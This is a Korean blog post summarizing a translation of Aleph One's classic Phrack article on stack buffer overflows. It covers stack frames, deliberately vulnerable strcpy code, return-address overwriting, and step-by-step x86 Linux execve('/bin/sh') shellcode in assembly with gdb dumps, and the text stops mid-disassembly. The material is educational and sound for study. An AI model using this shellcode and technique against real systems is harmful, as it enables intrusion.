본문으로 바로가기

Smashing The Stack For Fun And Profit 정리

category 해킹/Document 2016. 8. 10. 21:19
Phrack Magazine  7권 49호 - 총 16중 14번째                          
BugTraq, r00t, 그리고 Underground.Org 제공
                                  

                     XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                     Smashing The Stack For Fun And Profit
                      재미와 이득을 위한 스택 때려부수기
                     XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX


저자 : Aleph One <aleph1@underground.org>
번역 : 박상운 <greenray7@yahoo.co.kr>

해커스쿨에서 제공하는 번역본을 읽어보았습니다. 그것을 정리한걸 올리려합니다. (떄려 부수기라니..)


이 글을 읽을때..


☆ 어셈블리에 관한 기본적인 지식 - 필수

☆ 가상 메모리에 대한 개념및 이해 - 있으면 좋음

☆ 사용하는건 Intel x86 CPU이며 운영체제는 리눅스 


스택 버퍼란 것이 무엇인지 이해하기 위해서, 우리는 메모리에서 프로세스가 어떻게 이루어졌는가를 먼저 이해해야한다.

프로세스들은 텍스트, 데이터, 스택 이렇게 3가지 영역으로 나뉜다. 우리는 스택 영역에 집중할 것이지만, 먼저 순서대로 다른 영역들도 살펴볼것이다.


텍스트 영역은 프로그램에 의해 고정되어있으며 명령코드와 읽기전용인 데이터를 포함하고 있다.

데이터 영역은 초기화 된 것과 초기화되지않은 데이터를 포함하고 있다. (정적인 변수는 이부분에 저장)

/------------------\ 낮은 | | 메모리 | Text | 주소 | | |------------------| | (초기화 됨) | | Data | | (초기화 안됨) | |------------------| | | | Stack | 높은 | | 메모리 \------------------/ 주소

 스택은 컴퓨터 과학에서 자주 사용되는 추상적인 테이터 형이다. 스택은 스택상에서 가장 끝에 자리잡고 있는 객체가 가장 먼저 제거되는 객체가 되는 특징을 가지고 있다. 이 특성은 보통 "가장 나중에 들어온 것이, 가장 먼저 나간다" 또는 LIFO로 불려진다.

 스택 상에서는 몇가지 명령이 정의되어 있다. 가장 중요한 2가지는 밀어넣기(PUSH)와 꺼내기(POP)이다. PUSH는 스택의 꼭대기에 원소 1개를 추가한다. POP은 그 반대로스택의 꼭대기에 있는 가장 마지막의 원소를 제거함으로써 스택의 크기를 한 원소만큼감소시킨다.

#스택영역

 스택은 데이터를 포함하고 있는 메모리의 연속된 블럭이다. 스택 포인터(SP)라고 불리우는 레지스터는 스택의 꼭대기를 가리킨다. 스택의 밑바닥은 고정된 주소에 있다. 그것의 크기는 실행도중에 커널에 의해 동적으로 조절된다. CPU는 스택에 밀어넣고(PUSH) 꺼내는(POP) 명령들을 수행한다.


 스택은 함수가 호출될때 push되고, 되돌아올때 pop되는 논리적인 스택 프레임으로 이루어 졌다. 스택 프레임은 함수에 전달되는 인자들, 함수의 지역 변수들, 그리고 함수 호출시의명령 포인터(instruction pointer)의 값을 포함한, 바로 전 스택 프레임을 복구하기 위한 데이터를 포함한다. 이행에 의존하여 스택은 아래로 뻗어가거나 위로자란다.


 스택 포인터에 덧붙여 말하자면, 스택 포인터는 스택의 꼭대기를 가리키는데(숫자적으로 가장 낮은 주소), 프레임 내에서 고정된 위치를 가리키는 프레임포인터(FP)를 가진다면 그것은 때때로 편리할 것이다. 어떤 문서들에서는 또한 그것을 지역 바닥 포인터(LB)라고 

부른다. 원칙적으로, 지역 변수들은 SP로부터 떨어진 거리를 써서 참조될 수 있다. 하지만, 데이터들이 스택에 push되고 pop되기 때문에, SP로부터의 거리(offset)는 변하기 마련이다. 비록 어떤 경우에 있어서, 컴파일러는 스택상의 데이터들의 수를 기억함으로써 그 거리를 정정하지만, 다른 경우에는 불가능할 뿐더러 모든 경우를 고려하면서 관리해야 한다.


 결론적으로, 많은 컴파일러들이 두 번째 레지스터, 즉 FP를 지역변수와 인자 모두를 참조하는데 사용한다. 왜냐하면 FP로부터의 거리는 PUSH와 POP명령으로 인해 변하지 않기 때문이다. Intel CPU에서는, BP (EBP)가 이런 목적으로 쓰인다. Motorola CPU에서는 스택 포인터인 A7만 제외하고 어떤 주소 레지스터도 이 일을 할 수 있을 것이다. 스택이 뻗어가는 방법때문에, 실제 인자들은 FP로부터의 거리(offset)가 양수이고, 지역변수들은 FP로부터의 거리(offset)가 음수이다.


여기서 프러시저는 함수라고 생각하시면 됩니다

 프러시저가 호출되었을 때, 프러시저가 가장 먼저 해야 할 일은 바로 전의 FP를 저장하는것이다(프러시저가 종료될때, 원래값을 되돌려 주기 위해). 그런다음 그것은 새로운 FP를 만들기 위해, SP를 FP로 복사한다. 그리고 지역변수들을 위한 공간을 예약하기 위해 SP를

전진시킨다. 이 코드는 프러시저의 도입부(prolog)라고 불린다. 프러시저가 종료될때, 스택은 다시 깔끔하게 청소되어야 하는데, 이것을 프러시저의 결말(epilog)이라고 부른다. Intel의 ENTER와 LEAVE 명령들과 Motorola의 LINK와 UNLINK 명령들은 프러시저의 프롤로그와 에필로그의 대부분을 효과적으로 하기 위해 제공된다.


※ 이해가 안된다면 읽어보세요!

그러니까 스택에는 가장맨위(고정된값)를 가르키는 포인터가 있고, 가장 아랫분을 가르키는 포인터가 있는데 가장 윗부분을 가르키는 포인터는 계속 데이터가 쌓이기떄문에 변화한다. 그래서 스택에있는 지역변수들을 참조할떄 변화하는 SP를 사용하면 참조할 수 없기떄문에 FP(가장맨아래 고정된값)을 기준으로 지역변수를 참조한다는뜻이다. 그리고 함수 프롤로그와 에필로그는 뒤에 어셈블리를보면서 보는것이 더 좋기떄문에 여기서는 함수가 생성될때 함수 프롤로그를 진행하고 함수가 소멸될때 함수 에필로그가 진행된다는것만 알고가자.


example1.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
   char buffer1[5];
   char buffer2[10];
}

void main() {
  function(1,2,3);
}
------------------------------------------------------------------------------

다음과 같은 C코드가있다. 이 코드를 어셈블리어로 본다면 funtion()을 호출하는 부분을 다음과같이 볼 수 있다.

        pushl $3
        pushl $2
        pushl $1
        call function

 이것은 함수에 대한 3개의 인자들을 스택에 반대순서(3,2,1)로 밀어 넣는다. 그리고 function()을 호출한다. 'call' 명령은 명령 포인터(IP)를 스택에 밀어 넣을(push) 것이다. 우리는 이 저장된 IP를 복귀 주소(RET)라고 부를 것이다. 함수안에서 가장 먼저 처리되는 것은 프러시저 프롤로그이다:

        pushl %ebp
        movl %esp,%ebp
        subl $20,%esp

 이것은 프레임 포인터인 EBP를 스택에 밀어 넣는다. 그런다음 EBP를 새로운 FP포인터로 만들기 위해 현재의 SP를 EBP에 복사한다. 우리는 이 저장된 FP를 SFP라고 부를 것이다. 그런다음 지역 변수들의 크기만큼 SP를 감소시킴으로써 지역 변수들을 위해 공간을 할당한다. 


 우리는, 메모리가 워드 크기의 배수만큼만 지정될 수 있다는 것을 기억해야 한다. 우리의 경우에 한 워드는 4바이트, 즉 32비트이다. 그러므로 5바이트의 버퍼는 실제로는 8바이트(2워드)만큼의 메모리를 차지할 것이고 10바이트의 버퍼는 12바이트(3워드)만큼 의 메모리를 차지할 것이다. 그게 바로 SP가 20만큼 감소되는 이유이다. 이것을 명심하고 function()함수가 호출될 때 스택이 어떤 모습을 하고 있을지 살펴보자(각각의 1칸은 1바이트를 나타낸다):

메모리의 메모리의 아래쪽 위쪽 buffer2 buffer1 sfp ret a b c <------ [ ][ ][ ][ ][ ][ ][ ] 스택의 스택의 위쪽 아래쪽

※ 이해가 안된다면 읽어보세요!
일단 필자가 읽으면서 놓치거나 실수한부분을 먼저 설명하려고한다. 첫번쨰로 SP가 20만큼 감소되는이유에 내용은 위에 소스코드에서 변수를 선언하는 부분과 같이봐야한다. 그리고 ebp는 스택의 베이스포인터, 그러니까 가장 아랫부분을 나타내고 esp는 스택포인터로 스택이 쌓이고있는 그부분을 가르키고 있다고 생각하면된다. 또, mov %esp, %ebp는 esp에 들어있는 데이터를 ebp에 넣는것이다. 그러므로 여기서 esp = ebp가 성립한다.



#버퍼 오버 플로우
버퍼 오버플로우는 버퍼가 다룰 수 있는 것보다 더 많은 데이터를 버퍼에 채움으로써 일어난다. 이렇게 자주 발견되는 프로그래밍 에러가 임의의 코드를 실행하는데 어떻게 사용되어 질 수 있는가? 다른 예를 한 번 살펴보자:

example2.c ------------------------------------------------------------------------------ void function(char *str) { char buffer[16]; strcpy(buffer,str); } void main() { char large_string[256]; int i; for( i = 0; i < 255; i++) large_string[i] = 'A'; function(large_string); } ------------------------------------------------------------------------------

이 프로그램에는 전형적인 버퍼 오버플로우 코딩 에러를 포함한 함수가 있다. 그 함수는 문자열 길이를 확인(bounds checking)하지 않고, strncpy() 함수 대신에 strcpy() 함수를 사용하여 주어진 문자열을 복사한다. 만약 여러분이 이 프로그램을 실행시킨다면, 지역침입 에러(segmentation violation)가 발생할 것이다. 우리가 함수를 부를 때, 스택이 어떤 모습을 하고 있는지 살펴보자:

메모리의 메모리의 아래쪽 위쪽 buffer sfp ret *str <------ [ ][ ][ ][ ] 스택의 스택의 위쪽 아래쪽

여기서 무슨일이 벌어지는가? 왜 지역침입 에러(segmentation violation)가 발생하는가? 간단하다. strcpy()함수는 문자열에서 널문자가 발견될때까지, *str(larger_string[])의 내용을 buffer[]로 복사한다. 우리도 볼 수 있듯이, buffer[]는 *str보다 훨씬 작다. buffer[]는 16바이트 길이지만, 우리는 그것을 256바이트로 채우려고 한다. 이것은 스택에 있는 buffer뒤의 240바이트가 모두 덮여 쓰여진다는 것을 의미한다. 이것은 SFP, RET 그리고 심지어 *str까지도 포함한다. 우리는 large_string을 문자 'A'로 채웠었다. 그것의 16진수 문자 값은 0x41이다. 이것은 복귀주소(RET)가 이제 0x41414141이라는 것을 의미한다. 이 주소는 프로세스 주소공간 바깥에 있다. 그게 바로 함수가 복귀된 후, 그 주소로부터 다음 명령을 읽으려고 할때, 지역침입 에러(segmentation violation)가 발생하는 이유이다.


그러므로, 버퍼 오버플로우는 우리가 함수의 복귀주소(RET)를 바꿀 수 있도록 해 준다. 이 방법으로, 우리는 프로그램의 실행흐름을 변경할 수 있다. 첫 번째 예제로 돌아가서 스택이 어떤 모양을 하고 있었는지 기억을 되살려 보자:

메모리의 메모리의 아래쪽 위쪽 buffer2 buffer1 sfp ret a b c <------ [ ][ ][ ][ ][ ][ ][ ] 스택의 스택의 위쪽 아래쪽

우리의 첫번째 예제를 수정해서 그것이 복귀주소(RET)를 덮어 쓰도록하자. 그리고 우리가 어떻게 그것이 임의의 코드를 실행하도록 만들 수 있는지 설명해 보자. SFP는 스택에 있는 buffer1[]의 바로 앞에 있다. 그리고 SFP 앞에는 복귀주소(RET)가 있다. buffer1[]의 끝을 지나는 것은 4바이트이다. 하지만 buffer1[]은 실제로는 2워드 즉 8바이트라는 것을 기억해라. 함수 호출이 된 후에, 우리는 대입식인 'x=1;'과 같은 방법으로 복귀값을 수정할 것이다. 그렇게 하기 위해서는 우리는 복귀주소(RET)에 8바이트를 더해야 한다. 코드는 여기 있다:

example3.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
   char buffer1[5];
   char buffer2[10];
   int *ret;

   ret = buffer1 + 12;
   (*ret) += 8;
}

void main() {
  int x;

  x = 0;
  function(1,2,3);
  x = 1;
  printf("%d\n",x);
}
------------------------------------------------------------------------------

우리가 한 일은 buffer1[]의 주소에 12를 더한 것이다. 이 새로운 주소는 복귀주소(RET)가 저장된 곳이다. 우리는 할당식을 뛰어넘어 printf함수 호출로 넘어가기를 원한다. 우리는 어떻게 복귀주소(RET)에 8바이트를 더할 것을 알았는가? 우리는 먼저 시험값을 사용했고(예제 1을 위해), 프로그램을 컴파일한 후에 gdb를 시작했다.

------------------------------------------------------------------------------
[aleph1]$ gdb example3
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000490 <main>:       pushl  %ebp
0x8000491 <main+1>:     movl   %esp,%ebp
0x8000493 <main+3>:     subl   $0x4,%esp
0x8000496 <main+6>:     movl   $0x0,0xfffffffc(%ebp)
0x800049d <main+13>:    pushl  $0x3
0x800049f <main+15>:    pushl  $0x2
0x80004a1 <main+17>:    pushl  $0x1
0x80004a3 <main+19>:    call   0x8000470 <function>
0x80004a8 <main+24>:    addl   $0xc,%esp
0x80004ab <main+27>:    movl   $0x1,0xfffffffc(%ebp)
0x80004b2 <main+34>:    movl   0xfffffffc(%ebp),%eax
0x80004b5 <main+37>:    pushl  %eax
0x80004b6 <main+38>:    pushl  $0x80004f8
0x80004bb <main+43>:    call   0x8000378 <printf>
0x80004c0 <main+48>:    addl   $0x8,%esp
0x80004c3 <main+51>:    movl   %ebp,%esp
0x80004c5 <main+53>:    popl   %ebp
0x80004c6 <main+54>:    ret
0x80004c7 <main+55>:    nop
------------------------------------------------------------------------------
function()함수를 호출할때, RET는 0x80004a8이 될것이라는 것을 알 수 있다. 그리고 우리는 0x80004ab에 있는 할당식을 뛰어 넘어가기를 원한다. 우리가 실행하기를 원하는 다음 명령은 0x80004b2에 있다. 잠깐만 계산해 보면 거리가 8바이트라는 것을 알 수 있다.

※ 이해가 안된다면 읽어보세요!
윗부분에서 A로 buffer을 채울떄 복귀주소(RET)이 0x41414141이 되는이유는 A는 16진수로 41이기때문입니다.(아스키 코드표 참조) 이것말고는 설명이 다 잘되있는것 같습니다.



#쉘코드

이제 우리는 복귀주소(RET)와 실행의 흐름을 수정할 수 있다는 사실을 알고 있다. 하지만 우리는 어떤 프로그램을 실행시키기를 원하는가? 대부분의 경우에, 우리는 프로그램이 쉘을 띄우기를 원한다. 그러면 쉘로부터 우리는 우리가 원하는 다른 명령들도 실행할 수 있다. 하지만 우리가 이용하고자 하는 프로그램안에 그런 코드가 있지 않다면? 어떻게 우리는 임의의 명령을 그것의 주소공간에 위치시킬 것인가? 해답은 우리가 실행하기를 원하는 코드를, 오버플로우되고 있는 버퍼에 위치시키고 복귀주소(RET)가 다시 그 버퍼를 가리키도록 RET를 덮어쓰는 것이다. 스택이 주소 0xFF에서 시작하며 S는 우리가 실행하기를 원하는 코드를 뜻한다고 생각하면서, 스택이 어떤 모양을 하고 있을지 살펴보자:

bottom of  DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     top of
memory     89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     memory
           buffer                sfp   ret   a     b     c

<------   [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
           ^                            |
           |____________________________|
top of                                                            bottom of
stack                                                                 stack
 C 에서 쉘을 실행시키기 위한 코드는 다음과 같다:
shellcode.c
-----------------------------------------------------------------------------
#include <stdio.h>

void main() {
   char *name[2];

   name[0] = "/bin/sh";
   name[1] = NULL;
   execve(name[0], name, NULL);
}
------------------------------------------------------------------------------

위의 것이 어셈블리로는 어떻게 표현되는 지를 알기 위해서는, 그것을 컴파일한 후 gdb를 시작해야 한다. -static 플래그를 쓰는 것을 기억해라. 그렇지 않으면 execve 시스템 호출에 해당하는 실제 코드는 포함되지 않을 것이다. 대신에 보통 프로그램이 로드될 때 연결되는 동적인 C 라이브러리를 참조할 것이다.

------------------------------------------------------------------------------ [aleph1]$ gcc -o shellcode -ggdb -static shellcode.c [aleph1]$ gdb shellcode GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130 <main>: pushl %ebp 0x8000131 <main+1>: movl %esp,%ebp 0x8000133 <main+3>: subl $0x8,%esp 0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp) 0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp) 0x8000144 <main+20>: pushl $0x0 0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax 0x8000149 <main+25>: pushl %eax 0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax 0x800014d <main+29>: pushl %eax 0x800014e <main+30>: call 0x80002bc <__execve> 0x8000153 <main+35>: addl $0xc,%esp 0x8000156 <main+38>: movl %ebp,%esp 0x8000158 <main+40>: popl %ebp 0x8000159 <main+41>: ret End of assembler dump. (gdb) disassemble __execve Dump of assembler code for function __execve: 0x80002bc <__execve>:     pushl %ebp 0x80002bd <__execve+1>:     movl %esp,%ebp 0x80002bf <__execve+3>:     pushl %ebx 0x80002c0 <__execve+4>:     movl $0xb,%eax 0x80002c5 <__execve+9>:     movl 0x8(%ebp),%ebx 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx 0x80002ce <__execve+18>: int $0x80 0x80002d0 <__execve+20>: movl %eax,%edx 0x80002d2 <__execve+22>: testl %edx,%edx 0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42> 0x80002d6 <__execve+26>: negl %edx 0x80002d8 <__execve+28>: pushl %edx 0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location> 0x80002de <__execve+34>: popl %edx 0x80002df <__execve+35>: movl %edx,(%eax) 0x80002e1 <__execve+37>: movl $0xffffffff,%eax 0x80002e6 <__execve+42>: popl %ebx 0x80002e7 <__execve+43>: movl %ebp,%esp 0x80002e9 <__execve+45>: popl %ebp 0x80002ea <__execve+46>: ret 0x80002eb <__execve+47>: nop End of assembler dump. ------------------------------------------------------------------------------

여기서 무슨일이 일어나는지 이해하도록 하자. 먼저 main함수를 알아보며 시작하자:

0x8000130 <main>: pushl %ebp 0x8000131 <main+1>: movl %esp,%ebp 0x8000133 <main+3>: subl $0x8,%esp 이것은 프러시저 도입부이다. 그것은 먼저 예전의 프레임 포인터를 저장하고, 현재의 스택 포인터를 새로운 프레임 포인터로 만든다. 그리고 지역변수들을 위한 공간을 남겨둔다. 이 경우 그것은: char *name[2]; 즉, char데이터형을 가리키는 2개의 포인터이다. 포인터는 길이가 1 워드이므로, 그것은 2워드(8바이트)를 위한 공간을 남겨둔다.

0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp) 우리는 0x80027b8 (문자열인 "/bin/sh"의 주소)값을 name[]의 첫번째포인터에 복사한다. 이것은 다음에 해당한다: name[0] = "/bin/sh";

0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp) 우리는 0x0값(NULL)을 name[]의 두번째 포인터에 복사한다.이것은 다음에 해당한다:

name[1] = NULL; execve() 함수의 실제 호출은 여기서 시작한다.

0x8000144 <main+20>: pushl $0x0 execve()의 인자들을 스택에 반대순서로 밀어넣는다. NULL로 시작한다.

0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax name[]의 주소를 EAX레지스터로 불러들인다.

0x8000149 <main+25>: pushl %eax name[]의 주소를 스택에 밀어 넣는다.

0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax 문자열인 "/bin/sh"의 주소를 EAX레지스터로 불러들인다.

0x800014d <main+29>: pushl %eax 문자열인 "/bin/sh"의 주소를 스택에 밀어 넣는다.

0x800014e <main+30>: call 0x80002bc <__execve> 라이브러리 프로시저인 execve()를 호출한다. call명령은 IP를 스택에밀어 넣는다.

이제 execve()를 할 차례다. 우리는 Intel기반 리눅스 시스템을 사용하고 있다는 것을 명심해라. 시스템 호출의 세부사항은 OS와 CPU에 따라서 달라질 것이다. 어떤 것은 인자들을 스택으로 넘기는 한편, 다른 것은 레지스터로 넘긴다. 어떤 것은 커널모드로 넘어가기 위해서 소프트웨어 인터럽트를 사용하지만, 다른 것은 far 호출을 사용한다. 리눅스는 시스템 호출의 인자들을 레지스터로 넘기고, 커널모드로 넘어가기 위해서 소프트웨어 인터럽트를 사용한다.

0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx 프로시저 도입부.

0x80002c0 <__execve+4>: movl $0xb,%eax 0xb(10진수로 11)을 스택에 복사한다. 이것은 시스템 호출 목록의색인이다. 11은 execve를 뜻한다.

0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx "/bin/sh"의 주소를 EBX로 복사한다.

0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx name[]의 주소를 ECX로 복사한다.

0x80002cb <__execve+15>: movl 0x10(%ebp),%edx null 포인터의 주소를 EDX로 복사한다.

0x80002ce <__execve+18>: int $0x80 커널모드로 바꾼다.

execve() 시스템 호출에 그리 많은 것이 있지 않다는 것을 알 수 있다. 우리가 해야하는
전부는 다음과 같다:
a) null문자로 종료되는 문자열 "/bin/sh"을 메모리의 어딘가에 위치시킨다.
b) 워드길이의 null이 뒤따르는, "/bin/sh"문자열의 주소를 메모리의 어딘가에
  위치시킨다.
c) 0xb를 EAX 레지스터에 복사한다.
d) 문자열 "/bin/sh"의 주소의 주소를 EBX 레지스터에 복사한다.
e) 문자열 "/bin/sh"의 주소를 ECX 레지스터에 복사한다.
f) 워드길이의 null의 주소를 EDX 레지스터에 복사한다.
g) int $0x80 명령을 실행한다.
 하지만 execve() 호출이 어떤 이유로 인해 실패한다면? 프로그램은 임의의 데이터를 포함하고 있을지 모르는 스택으로부터 계속해서 명령을 읽어 들일 것이다. 프로그램은 대부분 코어 덤프를 일으킬 것이다. 만약 execve 시스템 호출이 실패한다면, 우리는 프로그램이 깨끗하게 종료되기를 원한다. 이것을 성취하기 위해서는, 우리는 execve 시스템 호출 다음에 exit 시스템 호출을 추가해야 한다. exit 시스템 호출은 어떤 모양을 하고 있는가?
exit.c
------------------------------------------------------------------------------
#include <stdlib.h>

void main() {
        exit(0);
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o exit -static exit.c
[aleph1]$ gdb exit
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>:      pushl  %ebp
0x800034d <_exit+1>:    movl   %esp,%ebp
0x800034f <_exit+3>:    pushl  %ebx
0x8000350 <_exit+4>:    movl   $0x1,%eax
0x8000355 <_exit+9>:    movl   0x8(%ebp),%ebx
0x8000358 <_exit+12>:   int    $0x80
0x800035a <_exit+14>:   movl   0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>:   movl   %ebp,%esp
0x800035f <_exit+19>:   popl   %ebp
0x8000360 <_exit+20>:   ret
0x8000361 <_exit+21>:   nop
0x8000362 <_exit+22>:   nop
0x8000363 <_exit+23>:   nop
End of assembler dump.
------------------------------------------------------------------------------
exit 시스템 호출은 0x1을 EAX에 위치시키고, exit 코드를 EBX에 위치시키고 "int $0x80"을 실행할 것이다. 바로 그거다. 대부분의 응용 프로그램들은 아무런 에러가 없었다고 알리기 위해 종료시에 0을 반환한다. 우리는 EBX에 0을 위치시킬 것이다. 순서리스트는 다음과 같다:
a) null문자로 종료되는 문자열 "/bin/sh"을 메모리의 어딘가에 위치시킨다.
b) 워드길이의 null이 뒤따르는, "/bin/sh"문자열의 주소를 메모리의 어딘가에
  위치시킨다.
c) 0xb를 EAX 레지스터에 복사한다.
d) 문자열 "/bin/sh"의 주소의 주소를 EBX 레지스터에 복사한다.
e) 문자열 "/bin/sh"의 주소를 ECX 레지스터에 복사한다.
f) 워드길이의 null의 주소를 EDX 레지스터에 복사한다.
g) int $0x80 명령을 실행한다.
h) 0x1을 EAX 레지스터에 복사한다.
i) 0x0을 EBX 레지스터에 복사한다.
j) int $0x80 명령을 실행한다.
 이것을 어셈블리어로 조합하려고 하면서, 문자열을 코드다음에 위치시키면서, 그리고 문자열의 주소와 null워드를 배열다음에 위치시킬 것을 기억하면 이렇게된다:
------------------------------------------------------------------------------
        movl   string_addr,string_addr_addr
        movb  $0x0,null_byte_addr
        movl   $0x0,null_addr
        movl   $0xb,%eax
        movl   string_addr,%ebx
        leal   string_addr,%ecx
        leal   null_string,%edx
        int    $0x80
        movl   $0x1, %eax
        movl   $0x0, %ebx
	int    $0x80
        /bin/sh string goes here.
------------------------------------------------------------------------------

문제는 우리가 코드(그리고 그것을 뒤따르는 문자열)를 이용하고자 하는 프로그램의 메모리 공간이 어디가 될지 모른다는 것이다. 그것을 해결하는 한 방법은 JMP와 CALL 명령을 사용하는 것이다. JMP와 CALL 명령은 IP 상대번지를 쓸 수 있다. 이것은 우리가 뛰어 넘어가고 싶은 메모리의 정확한 주소를 알 필요가 없이 현재 IP로부터 떨어진 곳으로 뛰어 넘어갈 수 있다는 것을 의미한다. 만약 우리가 CALL명령을 "/bin/sh"문자열 바로 앞에 위치시킨다면, 또 JMP명령 또한 위치시킨다면, 문자열의 주소는 CALL이 실행될 때, 복귀주소로써 스택에 밀어 넣어질 것이다. 그러면, 우리가 필요한 전부는 복귀주소를 레지스터로 복사하는 것이다. CALL명령은 단순히 위에

있는 우리의 코드의 시작을 호출한다. J가 JMP명령을 나타내고, C가 CALL명령을나타내며 s는 문자열을 뜻한다고 생각하면, 실행흐름은 이제 다음과 같을 것이다: 

bottom of  DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     top of
memory     89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     memory
           buffer                sfp   ret   a     b     c

<------   [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
           ^|^             ^|            |
           |||_____________||____________| (1)
       (2)  ||_____________||
             |______________| (3)
top of                                                            bottom of
stack                                                                 stack
이 변경으로, 색인된 주소를 사용하고, 각각의 명령이 얼마나 많은 바이트를 차지할 것인지 쓰면, 코드는 다음과 같다:
------------------------------------------------------------------------------
        jmp    offset-to-call           # 2 bytes
        popl   %esi                     # 1 byte
        movl   %esi,array-offset(%esi)  # 3 bytes
        movb   $0x0,nullbyteoffset(%esi)# 4 bytes
        movl   $0x0,null-offset(%esi)   # 7 bytes
        movl   $0xb,%eax                # 5 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   array-offset,(%esi),%ecx # 3 bytes
        leal   null-offset(%esi),%edx   # 3 bytes
        int    $0x80                    # 2 bytes
        movl   $0x1, %eax		# 5 bytes
        movl   $0x0, %ebx		# 5 bytes
	int    $0x80			# 2 bytes
        call   offset-to-popl           # 5 bytes
        /bin/sh string goes here.
------------------------------------------------------------------------------

 jmp에서 call까지의 거리, call에서 popl까지의 거리, 문자열의 주소에서 배열까지의 거리, 그리고 문자열의 주소에서 워드길이의 null까지의 거리를 계산하면 이렇게 된다:

------------------------------------------------------------------------------
        jmp    0x26                     # 2 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x8(%esi)           # 3 bytes
        movb   $0x0,0x7(%esi)		# 4 bytes
        movl   $0x0,0xc(%esi)           # 7 bytes
        movl   $0xb,%eax                # 5 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x8(%esi),%ecx           # 3 bytes
        leal   0xc(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        movl   $0x1, %eax		# 5 bytes
        movl   $0x0, %ebx		# 5 bytes
	int    $0x80			# 2 bytes
        call   -0x2b                    # 5 bytes
        .string \"/bin/sh\"		# 8 bytes
------------------------------------------------------------------------------

 좋다. 정확하게 작동되는 가 확인하기 위해, 우리는 그것을 컴파일하고 실행해야 한다. 하지만 문제가 있다. 우리의 코드는 자신을 수정하지만, 대부분의 운영체계는 코드부분을 읽을 수만 있도록 표시한다. 이런 제한을 피하기 위해, 우리는 우리가 실행하고자 하는 코드를 스택이나 데이터 지역에 위치시키고, 그것에 제어를 넘겨주어야 한다. 그렇게 하기 위해서는, 우리의 코드를 데이터 지역의 전역배열에 위치시킬 것이다. 우리는 먼저 이진코드의 16진수 표현이 필요하다. 먼저 컴파일하고 그것을 얻기 위해, gdb를 사용하자.

shellcodeasm.c
------------------------------------------------------------------------------
void main() {
__asm__("
        jmp    0x2a                     # 2 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x8(%esi)           # 3 bytes
        movb   $0x0,0x7(%esi)           # 4 bytes
        movl   $0x0,0xc(%esi)           # 7 bytes
        movl   $0xb,%eax                # 5 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x8(%esi),%ecx           # 3 bytes
        leal   0xc(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        movl   $0x1, %eax               # 5 bytes
        movl   $0x0, %ebx               # 5 bytes
        int    $0x80                    # 2 bytes
        call   -0x2f                    # 5 bytes
        .string \"/bin/sh\"             # 8 bytes
");
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[aleph1]$ gdb shellcodeasm
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>:       pushl  %ebp
0x8000131 <main+1>:     movl   %esp,%ebp
0x8000133 <main+3>:     jmp    0x800015f <main+47>
0x8000135 <main+5>:     popl   %esi
0x8000136 <main+6>:     movl   %esi,0x8(%esi)
0x8000139 <main+9>:     movb   $0x0,0x7(%esi)
0x800013d <main+13>:    movl   $0x0,0xc(%esi)
0x8000144 <main+20>:    movl   $0xb,%eax
0x8000149 <main+25>:    movl   %esi,%ebx
0x800014b <main+27>:    leal   0x8(%esi),%ecx
0x800014e <main+30>:    leal   0xc(%esi),%edx
0x8000151 <main+33>:    int    $0x80
0x8000153 <main+35>:    movl   $0x1,%eax
0x8000158 <main+40>:    movl   $0x0,%ebx
